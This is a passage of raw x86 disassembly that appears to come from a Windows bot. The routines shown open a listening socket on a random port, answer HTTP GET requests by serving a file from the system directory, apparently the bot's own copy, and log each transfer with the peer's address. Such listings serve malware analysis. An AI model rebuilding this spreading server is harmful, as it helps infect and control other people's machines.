		add	ecx, ecx
		cmp	ecx, ebx
		jl	short loc_402DA4

loc_402DAA:				; CODE XREF: sub_402D8A+18j
		mov	edx, dword_426630
		push	esi
		mov	esi, dword_426634
		push	edi
		lea	eax, [ecx-1]

loc_402DBB:				; CODE XREF: sub_402D8A+6Cj
		mov	ecx, dword_426638[esi*4]
		lea	edi, ds:426638h[edx*4]
		add	ecx, [edi]
		and	ecx, 3FFFFFFFh
		inc	edx
		cmp	edx, 37h
		mov	[edi], ecx
		jnz	short loc_402DDB
		xor	edx, edx

loc_402DDB:				; CODE XREF: sub_402D8A+4Dj
		inc	esi
		cmp	esi, 37h
		jnz	short loc_402DE3
		xor	esi, esi

loc_402DE3:				; CODE XREF: sub_402D8A+55j
		sar	ecx, 6
		and	ecx, eax
		cmp	ecx, ebx
		mov	dword_426630, edx
		mov	dword_426634, esi
		jge	short loc_402DBB
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		add	eax, ecx
		pop	esi

loc_402E00:				; CODE XREF: sub_402D8A+11j
		pop	ebx
		retn
sub_402D8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E02	proc near		; CODE XREF: sub_402833+F5p
					; sub_402833:loc_402949p ...
		cmp	dword ptr [esi], 0
		jnz	short loc_402E0C
		call	sub_40CB2C

loc_402E0C:				; CODE XREF: sub_402E02+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_402E1B
		call	sub_40CB2C

loc_402E1B:				; CODE XREF: sub_402E02+12j
		mov	eax, [esi+4]
		add	eax, 8
		retn
sub_402E02	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E22	proc near		; CODE XREF: sub_402833+10Fp
					; sub_4046BC+148p ...
		cmp	dword ptr [esi], 0
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [esi+4]
		mov	[edi+4], eax
		jnz	short loc_402E36
		call	sub_40CB2C

loc_402E36:				; CODE XREF: sub_402E22+Dj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+4]
		jnz	short loc_402E45
		call	sub_40CB2C

loc_402E45:				; CODE XREF: sub_402E22+1Cj
		mov	eax, [esi+4]
		mov	eax, [eax]
		mov	[esi+4], eax
		mov	eax, edi
		retn
sub_402E22	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E50	proc near		; CODE XREF: sub_402833+E7p
					; sub_408428+2Fp ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402E5A
		cmp	eax, [edi]
		jz	short loc_402E5F

loc_402E5A:				; CODE XREF: sub_402E50+4j
		call	sub_40CB2C

loc_402E5F:				; CODE XREF: sub_402E50+8j
		mov	eax, [esi+4]
		xor	ecx, ecx
		cmp	eax, [edi+4]
		setnz	cl
		mov	al, cl
		retn
sub_402E50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E6D	proc near		; CODE XREF: sub_402833+5Cp
					; .text:0040872Fp

var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= dword	ptr -3CCh
var_3C8		= byte ptr -3C8h
var_308		= byte ptr -308h
var_307		= byte ptr -307h
var_208		= byte ptr -208h
var_207		= byte ptr -207h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 3E4h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+3E4h+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	[esp+3F0h+var_3E0], eax
		mov	eax, [ebp+arg_4]
		mov	ebx, 1FFh
		push	ebx
		mov	[esp+3F4h+var_3DC], eax
		xor	esi, esi
		lea	eax, [esp+3F4h+var_207]
		push	esi
		push	eax
		mov	[esp+3FCh+var_208], 0
		call	sub_40C6F0
		add	esp, 0Ch
		push	0FFh
		lea	eax, [esp+3F4h+var_307]
		push	esi
		push	eax
		mov	[esp+3FCh+var_308], 0
		call	sub_40C6F0
		add	esp, 0Ch
		push	10h
		pop	ecx
		push	[esp+3F0h+var_3E0]
		mov	[esp+3F4h+var_3D0], esi
		push	offset aS	; "%s"
		mov	[esp+3F8h+var_3CC], esi
		mov	[esp+3F8h+var_3D8], esi
		mov	[esp+3F8h+var_3D4], esi
		lea	eax, [esp+3F8h+var_208]
		push	ebx
		mov	esi, offset byte_420B40
		lea	edi, [esp+3FCh+var_3C8]
		push	eax
		rep movsd
		call	sub_40C634
		lea	eax, [esp+400h+var_208]
		push	eax
		call	sub_40C500
		add	esp, 14h
		lea	ecx, [esp+3F0h+var_3D8]
		push	ecx
		push	eax
		lea	ecx, [esp+3F8h+var_208]
		call	sub_407AA0
		push	200h
		lea	eax, [esp+3FCh+var_208]
		push	0
		push	eax
		call	sub_40C6F0
		lea	eax, [esp+404h+var_308]
		add	esp, 14h
		push	eax
		lea	ebx, [esp+3F4h+var_3D8]
		call	sub_407BA0
		mov	esi, [esp+3F4h+var_3DC]
		pop	ecx
		push	0C0h
		xor	ebx, ebx
		push	ebx
		push	esi
		call	sub_40C6F0
		add	esp, 0Ch
		xor	edi, edi

loc_402F6E:				; CODE XREF: sub_402E6D+12Cj
		movzx	eax, [esp+edi+3F0h+var_308]
		push	eax
		push	esi
		push	offset aSX	; "%s%X"
		push	0BFh
		push	esi
		call	sub_40C634
		add	esp, 14h
		push	esi
		call	sub_40C500
		inc	edi
		cmp	edi, 40h
		pop	ecx
		mov	[eax+esi], bl
		jl	short loc_402F6E
		push	100h
		lea	eax, [esp+3F4h+var_308]
		push	ebx
		push	eax
		call	sub_40C6F0
		mov	ecx, [esp+3FCh+var_4]
		add	esp, 0Ch
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		xor	ecx, esp
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn
sub_402E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FC8	proc near		; CODE XREF: sub_4049E1+3E3p
					; .text:00409E3Ep
		push	4
		mov	eax, offset loc_41D694
		call	sub_40E5CD
		push	8
		call	loc_40CC1A
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		and	dword ptr [ebp-4], 0
		test	esi, esi
		jz	short loc_402FFC
		push	offset sub_40300B
		xor	ecx, ecx
		mov	edi, offset byte_4202A1
		call	sub_408395
		jmp	short loc_402FFE
; ---------------------------------------------------------------------------

loc_402FFC:				; CODE XREF: sub_402FC8+1Fj
		xor	eax, eax

loc_402FFE:				; CODE XREF: sub_402FC8+32j
		cmp	dword ptr [eax+4], 0
		setnz	al
		call	sub_40E66C
		retn
sub_402FC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40300B	proc near		; DATA XREF: sub_402FC8+21o

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		mov	eax, dword_426724
		push	ebx
		mov	ebx, ds:off_41E208
		push	esi
		push	edi
		mov	edi, 7F00h
		push	edi
		xor	esi, esi
		push	esi
		mov	[ebp+var_3C], eax
		mov	[ebp+var_28], offset dword_4254D0
		mov	[ebp+var_48], offset sub_4030E2
		mov	[ebp+var_4C], 8
		mov	[ebp+var_50], 30h
		call	ebx ; sub_44C2B0
		push	edi
		push	esi
		mov	[ebp+var_38], eax
		call	ebx ; sub_44C2B0
		push	edi
		push	esi
		mov	[ebp+var_24], eax
		call	ds:off_41E218
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_2C], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_30], 1
		call	ds:off_41E204
		test	ax, ax
		jz	short loc_4030D9
		push	esi
		push	dword_426724
		mov	eax, 80000000h
		push	esi
		push	esi
		push	esi
		push	esi
		push	eax
		push	eax
		push	0CF0000h
		push	offset asc_4202A4 ; " "
		push	offset dword_4254D0
		push	esi
		call	ds:off_41E21C
		push	eax
		call	sub_40312D
		test	eax, eax
		pop	ecx
		jz	short loc_4030D9
		mov	edi, ds:off_41E200
		jmp	short loc_4030CC
; ---------------------------------------------------------------------------

loc_4030B8:				; CODE XREF: sub_40300B+CCj
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41E20C
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41E214

loc_4030CC:				; CODE XREF: sub_40300B+ABj
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_20]
		push	eax
		call	edi ; sub_44441C
		test	eax, eax
		jnz	short loc_4030B8

loc_4030D9:				; CODE XREF: sub_40300B+70j
					; sub_40300B+A3j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40300B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E2	proc near		; DATA XREF: sub_40300B+27o

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 0043CA52 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044518A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C47C SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 401h
		jz	short loc_4030F5
		pop	ebp
		jmp	ds:off_41E210
; ---------------------------------------------------------------------------

loc_4030F5:				; CODE XREF: sub_4030E2+Aj
		mov	eax, [ebp+arg_C]
		dec	eax
		jz	short loc_40311E
		sub	eax, 7
		jnz	short loc_403127
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset word_426714
		push	dword_42682C
		mov	[ebp+arg_4], 10h
		call	ds:dword_41E280	; accept
		jmp	short loc_403127
; ---------------------------------------------------------------------------

loc_40311E:				; CODE XREF: sub_4030E2+17j
		push	[ebp+arg_8]
		call	sub_403249
		pop	ecx

loc_403127:				; CODE XREF: sub_4030E2+1Cj
					; sub_4030E2+3Aj
		xor	eax, eax
		pop	ebp
		retn	10h
sub_4030E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40312D	proc near		; CODE XREF: sub_40300B+9Bp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, 104h
		push	edi
		xor	ebp, ebp
		push	ebp
		mov	ebx, offset dword_426728
		push	ebx
		call	sub_40C6F0
		push	edi
		push	ebp
		mov	esi, offset dword_426938
		push	esi
		call	sub_40C6F0
		push	edi
		push	ebp
		mov	ebp, offset byte_426830
		push	ebp
		call	sub_40C6F0
		add	esp, 24h
		push	edi
		push	ebx
		call	ds:dword_41E050	; GetSystemDirectoryA
		push	edi
		mov	ebx, offset byte_425089
		call	sub_401ACE
		push	esi
		push	offset dword_426728
		push	offset aSS_2	; "%s\\%s"
		push	103h
		push	ebp
		call	sub_40C634
		push	ebp
		call	sub_40C500
		add	esp, 1Ch
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		mov	byte_426830[eax], bl
		call	ds:dword_41E240	; socket
		cmp	eax, 0FFFFFFFFh
		mov	dword_42682C, eax
		jnz	short loc_4031BF
		push	eax

loc_4031B2:				; CODE XREF: sub_40312D+E0j
		call	ds:dword_41E244	; closesocket
		xor	eax, eax
		jmp	loc_403244
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_40312D+82j
		push	3E8h
		mov	eax, 0FFDCh
		call	sub_402D8A
		pop	ecx
		push	eax
		mov	dword_426614, eax
		mov	word_426714, 2
		call	ds:dword_41E238	; htons
		push	10h
		push	offset word_426714
		push	dword_42682C
		mov	word_426716, ax
		mov	dword_426718, ebx
		call	ds:dword_41E250	; bind
		test	eax, eax
		jz	short loc_40320F

loc_403207:				; CODE XREF: sub_40312D+FBj
					; sub_40312D+10Dj
		push	dword_42682C
		jmp	short loc_4031B2
; ---------------------------------------------------------------------------

loc_40320F:				; CODE XREF: sub_40312D+D8j
		push	9
		push	401h
		push	[esp+18h+arg_0]
		push	dword_42682C
		call	ds:dword_41E24C	; WSAAsyncSelect
		test	eax, eax
		jnz	short loc_403207
		push	4
		push	dword_42682C
		call	ds:dword_41E288	; listen
		test	eax, eax
		jnz	short loc_403207
		mov	byte_426934, 1
		inc	eax

loc_403244:				; CODE XREF: sub_40312D+8Dj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40312D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0CA8h


sub_403249	proc near		; CODE XREF: sub_4030E2+3Fp

var_D28		= byte ptr -0D28h
var_D24		= dword	ptr -0D24h
var_D20		= dword	ptr -0D20h
var_D1C		= dword	ptr -0D1Ch
var_D18		= byte ptr -0D18h
var_D14		= byte ptr -0D14h
var_D13		= byte ptr -0D13h
var_D12		= byte ptr -0D12h
var_D11		= byte ptr -0D11h
var_D08		= byte ptr -0D08h
var_D07		= byte ptr -0D07h
var_908		= byte ptr -908h
var_907		= byte ptr -907h
var_508		= byte ptr -508h
var_507		= byte ptr -507h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-0CA8h]
		sub	esp, 0D28h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+0CA8h+var_4], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, 3FFh
		xor	ebx, ebx
		push	edi
		lea	eax, [ebp+0CA8h+var_907]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_908], bl
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+0CA8h+var_507]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_508], bl
		call	sub_40C6F0
		push	103h
		lea	eax, [ebp+0CA8h+var_107]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_108], bl
		call	sub_40C6F0
		push	edi
		lea	eax, [ebp+0CA8h+var_D07]
		push	ebx
		push	eax
		mov	[ebp+0CA8h+var_D08], bl
		call	sub_40C6F0
		add	esp, 30h
		push	ebx
		push	400h
		lea	eax, [ebp+0CA8h+var_D08]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E23C	; recv
		mov	[ebp+eax+0CA8h+var_D08], bl
		lea	eax, [ebp+0CA8h+var_D24]
		push	eax
		lea	eax, [ebp+0CA8h+var_D28]
		push	eax
		lea	eax, [ebp+0CA8h+var_D1C]
		push	eax
		lea	eax, [ebp+0CA8h+var_D20]
		push	eax
		lea	esi, [ebp+0CA8h+var_D08]
		call	sub_403718
		add	esp, 10h
		test	eax, eax
		jz	loc_403700
		push	offset aGet	; "GET"
		push	[ebp+0CA8h+var_D20]
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4033B4
		push	offset aQue?	; "Que?"
		lea	eax, [ebp+0CA8h+var_908]
		push	edi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+0CA8h+var_908]
		push	eax
		call	sub_40C500
		mov	[ebp+eax+0CA8h+var_908], bl
		lea	eax, [ebp+0CA8h+var_908]
		push	eax
		call	sub_40C500
		push	eax
		push	offset aHttp1_1501NotI ; "HTTP/1.1 501 Not Implemented\r\nContent-L"...
		lea	eax, [ebp+0CA8h+var_508]
		push	edi
		push	eax
		call	sub_40C634
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		call	sub_40C500
		add	esp, 28h
		mov	[ebp+eax+0CA8h+var_508], bl
		lea	eax, [ebp+0CA8h+var_508]
		push	ebx
		push	eax
		call	sub_40C500
		mov	esi, ds:dword_41E248
		pop	ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		lea	eax, [ebp+0CA8h+var_908]
		push	ebx
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_908]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	esi	; send
		jmp	loc_4036F4
; ---------------------------------------------------------------------------

loc_4033B4:				; CODE XREF: sub_403249+C4j
		mov	edi, [ebp+0CA8h+var_D1C]
		push	edi
		call	sub_4037AC
		test	eax, eax
		pop	ecx
		jz	loc_403700
		push	edi
		call	sub_40C500
		cmp	eax, 1
		pop	ecx
		jbe	loc_4034BE
		inc	edi
		push	2Fh
		push	edi
		call	sub_40D6A0
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	loc_403475
		mov	[esi], bl
		inc	esi
		jmp	short loc_4033F3
; ---------------------------------------------------------------------------

loc_4033F0:				; CODE XREF: sub_403249+1B6j
		mov	byte ptr [eax],	5Ch

loc_4033F3:				; CODE XREF: sub_403249+1A5j
		push	2Fh
		push	esi
		call	sub_40D6A0
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jnz	short loc_4033F0
		push	ebx
		push	esi
		call	sub_40D6A0
		cmp	[esi], bl
		pop	ecx
		pop	ecx
		jz	short loc_403442
		cmp	byte ptr [eax-1], 5Ch
		jz	short loc_403442
		push	esi
		push	edi
		push	offset dword_426728
		push	offset aSSS_1	; "%s\\%s\\%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_40C634
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	sub_40C500
		add	esp, 1Ch
		jmp	short loc_4034A0
; ---------------------------------------------------------------------------

loc_403442:				; CODE XREF: sub_403249+1C3j
					; sub_403249+1C9j
		push	offset dword_426938
		push	esi
		push	edi
		push	offset dword_426728
		push	offset aSSSS	; "%s\\%s\\%s%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_40C634
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	sub_40C500
		add	esp, 20h
		jmp	short loc_4034A0
; ---------------------------------------------------------------------------

loc_403475:				; CODE XREF: sub_403249+19Cj
		push	edi
		push	offset dword_426728
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [ebp+0CA8h+var_108]
		push	103h
		push	eax
		call	sub_40C634
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	sub_40C500
		add	esp, 18h

loc_4034A0:				; CODE XREF: sub_403249+1F7j
					; sub_403249+22Aj
		mov	[ebp+eax+0CA8h+var_108], bl
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		push	offset byte_426830
		call	sub_40ACE3
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403530

loc_4034BE:				; CODE XREF: sub_403249+187j
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		push	80000000h
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		call	ds:off_41E05C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+0CA8h+var_D1C], eax
		jz	short loc_403530
		push	ebx
		push	eax
		call	ds:off_41E060
		mov	esi, eax
		push	esi
		call	sub_40D437
		push	esi
		mov	edi, eax
		push	ebx
		push	edi
		call	sub_40C6F0
		add	esp, 10h
		jmp	short loc_40350E
; ---------------------------------------------------------------------------

loc_4034FE:				; CODE XREF: sub_403249+2E3j
		cmp	[ebp+0CA8h+var_D20], ebx
		jnz	short loc_403570
		push	esi
		push	ebx
		push	edi
		call	sub_40C6F0
		add	esp, 0Ch

loc_40350E:				; CODE XREF: sub_403249+2B3j
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+0CA8h+var_D1C]
		call	ds:off_41E064
		push	ebx
		lea	eax, [ebp+0CA8h+var_D20]
		push	eax
		push	esi
		push	edi
		push	[ebp+0CA8h+var_D1C]
		call	ds:off_41E068
		test	eax, eax
		jnz	short loc_4034FE
		jmp	short loc_403570
; ---------------------------------------------------------------------------

loc_403530:				; CODE XREF: sub_403249+273j
					; sub_403249+294j
		mov	esi, 200h
		push	esi
		call	sub_40D437
		push	esi
		mov	edi, eax
		push	ebx
		push	edi
		call	sub_40C6F0
		add	esp, 10h
		push	offset aQue?	; "Que?"
		push	edi
		call	sub_40C58B
		pop	ecx
		dec	eax
		push	eax
		push	edi
		call	sub_40C634
		push	edi
		call	sub_40C500
		push	edi
		mov	[eax+edi], bl
		call	sub_40C500
		mov	esi, eax
		add	esp, 14h

loc_403570:				; CODE XREF: sub_403249+2B8j
					; sub_403249+2E5j
		push	400h
		lea	eax, [ebp+0CA8h+var_508]
		push	ebx
		push	eax
		call	sub_40C6F0
		push	esi
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 ok\r\nContent-Length: %d\r\nCo"...
		lea	eax, [ebp+0CA8h+var_508]
		push	3FFh
		push	eax
		call	sub_40C634
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		call	sub_40C500
		add	esp, 20h
		mov	[ebp+eax+0CA8h+var_508], bl
		lea	eax, [ebp+0CA8h+var_508]
		push	ebx
		push	eax
		call	sub_40C500
		pop	ecx
		push	eax
		lea	eax, [ebp+0CA8h+var_508]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E248	; send
		test	eax, eax
		jz	loc_4036ED
		push	ebx
		push	esi
		push	edi
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E248	; send
		test	eax, eax
		jz	loc_4036ED
		lea	eax, [ebp+0CA8h+var_108]
		push	eax
		push	offset byte_426830
		call	sub_40ACE3
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4036ED
		inc	dword_4338B8
		push	100h
		call	sub_40AA82
		mov	esi, eax
		push	esi
		call	sub_40C58B
		push	eax
		mov	ebx, offset asc_424FE0 ; "±±ÆÀÔÙ"
		call	sub_401ACE
		push	10h
		pop	eax
		push	eax
		mov	[ebp+0CA8h+var_D1C], eax
		xor	ebx, ebx
		lea	eax, [ebp+0CA8h+var_D18]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 18h
		lea	eax, [ebp+0CA8h+var_D1C]
		push	eax
		lea	eax, [ebp+0CA8h+var_D18]
		push	eax
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E254	; getpeername
		movzx	eax, [ebp+0CA8h+var_D11]
		movzx	ecx, [ebp+0CA8h+var_D12]
		shl	eax, 8
		add	eax, ecx
		movzx	ecx, [ebp+0CA8h+var_D13]
		shl	eax, 8
		add	eax, ecx
		movzx	ecx, [ebp+0CA8h+var_D14]
		shl	eax, 8
		add	eax, ecx
		push	2
		mov	[ebp+0CA8h+var_D24], eax
		push	4
		lea	eax, [ebp+0CA8h+var_D24]
		push	eax
		call	ds:dword_41E28C	; gethostbyaddr
		cmp	eax, ebx
		push	dword_4338B8
		jnz	short loc_4036BC
		movzx	eax, [ebp+0CA8h+var_D11]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D12]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D13]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D14]
		push	eax
		push	offset aHttpTransferD_ ; "HTTP:	Transfer: %d.%d.%d.%d (N/A). %d	T"...
		push	esi
		push	ebx
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 24h
		jmp	short loc_4036E6
; ---------------------------------------------------------------------------

loc_4036BC:				; CODE XREF: sub_403249+447j
		push	dword ptr [eax]
		movzx	eax, [ebp+0CA8h+var_D11]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D12]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D13]
		push	eax
		movzx	eax, [ebp+0CA8h+var_D14]
		push	eax
		push	offset aHttpTransfer_0 ; "HTTP:	Transfer: %d.%d.%d.%d (%s). %d To"...
		push	esi
		push	ebx
		push	offset dword_426A3C
		call	sub_403DB4
		add	esp, 28h

loc_4036E6:				; CODE XREF: sub_403249+471j
		push	esi
		call	sub_40C76A
		pop	ecx

loc_4036ED:				; CODE XREF: sub_403249+38Aj
					; sub_403249+3A1j ...
		push	edi
		call	sub_40D35A
		pop	ecx

loc_4036F4:				; CODE XREF: sub_403249+166j
		push	[ebp+0CA8h+arg_0]
		call	ds:dword_41E244	; closesocket

loc_403700:				; CODE XREF: sub_403249+ADj
					; sub_403249+177j
		mov	ecx, [ebp+0CA8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 0CA8h
		leave
		retn
sub_403249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403718	proc near		; CODE XREF: sub_403249+A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	[eax], esi
		mov	eax, [ebp+arg_4]
		mov	[eax], esi
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	[eax], esi
		mov	eax, [ebp+arg_C]
		push	offset asc_4203BC ; "\r\n"
		push	esi
		mov	[eax], esi
		call	sub_40D500
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	short loc_4037A9
		push	edi
		mov	edi, offset asc_4202A4 ; " "
		push	edi
		push	esi
		mov	byte ptr [ebx],	0
		call	sub_40D75E
		mov	ecx, [ebp+arg_0]
		push	edi
		push	0
		mov	[ecx], eax
		call	sub_40D75E
		mov	ecx, [ebp+arg_4]
		add	esp, 10h
		test	eax, eax
		mov	[ecx], eax
		jz	short loc_40379D
		push	edi
		push	0
		call	sub_40D75E
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jz	short loc_40379D
		mov	eax, [ebp+arg_C]
		add	ebx, 2
		cmp	byte ptr [ebx],	0
		mov	[eax], ebx
		jz	short loc_4037A5
		push	offset asc_4203C0 ; "\r\n\r\n"
		push	ebx
		call	sub_40D500
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4037A1

loc_40379D:				; CODE XREF: sub_403718+52j
					; sub_403718+65j
		xor	eax, eax
		jmp	short loc_4037A8
; ---------------------------------------------------------------------------

loc_4037A1:				; CODE XREF: sub_403718+83j
		mov	byte ptr [eax+2], 0

loc_4037A5:				; CODE XREF: sub_403718+72j
		xor	eax, eax
		inc	eax

loc_4037A8:				; CODE XREF: sub_403718+87j
		pop	edi

loc_4037A9:				; CODE XREF: sub_403718+29j
		pop	ebx
		pop	ebp
		retn
sub_403718	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037AC	proc near		; CODE XREF: sub_403249+16Fp

var_8		= byte ptr -8
var_4		= byte ptr -4
var_2		= byte ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_40C500
		inc	eax
		push	eax
		call	sub_40AA82
		mov	esi, eax
		push	esi
		call	sub_40C58B
		push	eax
		push	0
		push	esi
		call	sub_40C6F0
		push	25h
		push	ebx
		call	sub_40D6A0
		add	esp, 20h
		jmp	short loc_403835
; ---------------------------------------------------------------------------

loc_4037E2:				; CODE XREF: sub_4037AC+8Dj
		push	ebx
		push	esi
		mov	byte ptr [edi],	0
		call	sub_40D5A0
		push	2
		inc	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_40CC90
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	offset asc_4203C8 ; "%x"
		push	eax
		mov	[ebp+var_2], 0
		call	sub_40D33B
		add	esp, 20h
		test	eax, eax
		jz	short loc_40385C
		push	esi
		call	sub_40C500
		mov	cl, [ebp+var_8]
		lea	ebx, [edi+2]
		push	25h
		push	ebx
		mov	[eax+esi], cl
		mov	byte ptr [eax+esi+1], 0
		call	sub_40D6A0
		add	esp, 0Ch

loc_403835:				; CODE XREF: sub_4037AC+34j
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4037E2
		push	ebx
		push	esi
		call	sub_40D5A0
		push	4
		push	edi
		push	[ebp+arg_0]
		call	sub_40C6F0
		push	esi
		push	[ebp+arg_0]
		call	sub_40D590
		add	esp, 1Ch
		inc	edi
		jmp	short loc_40385E
; ---------------------------------------------------------------------------

loc_40385C:				; CODE XREF: sub_4037AC+68j
		xor	edi, edi

loc_40385E:				; CODE XREF: sub_4037AC+AEj
		push	esi
		call	sub_40C76A
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4037AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40386C	proc near		; DATA XREF: sub_4049E1+37Eo
		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	esi
		push	edi
		call	sub_402BB7
		mov	edi, dword_426618
		mov	esi, dword_42661C

loc_403885:				; CODE XREF: sub_40386C+5Aj
		call	sub_402BB7
		cmp	dword_42661C, esi
		jl	short loc_4038AF
		jg	short loc_40389C
		cmp	dword_426618, edi
		jbe	short loc_4038AF

loc_40389C:				; CODE XREF: sub_40386C+26j
		cmp	byte_426A40, 0
		jz	short loc_4038AF
		push	offset dword_426A3C
		call	sub_4038C8

loc_4038AF:				; CODE XREF: sub_40386C+24j
					; sub_40386C+2Ej ...
		mov	edi, dword_426618
		mov	esi, dword_42661C
		push	0C350h
		call	ds:off_41E0E0
		jmp	short loc_403885
sub_40386C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


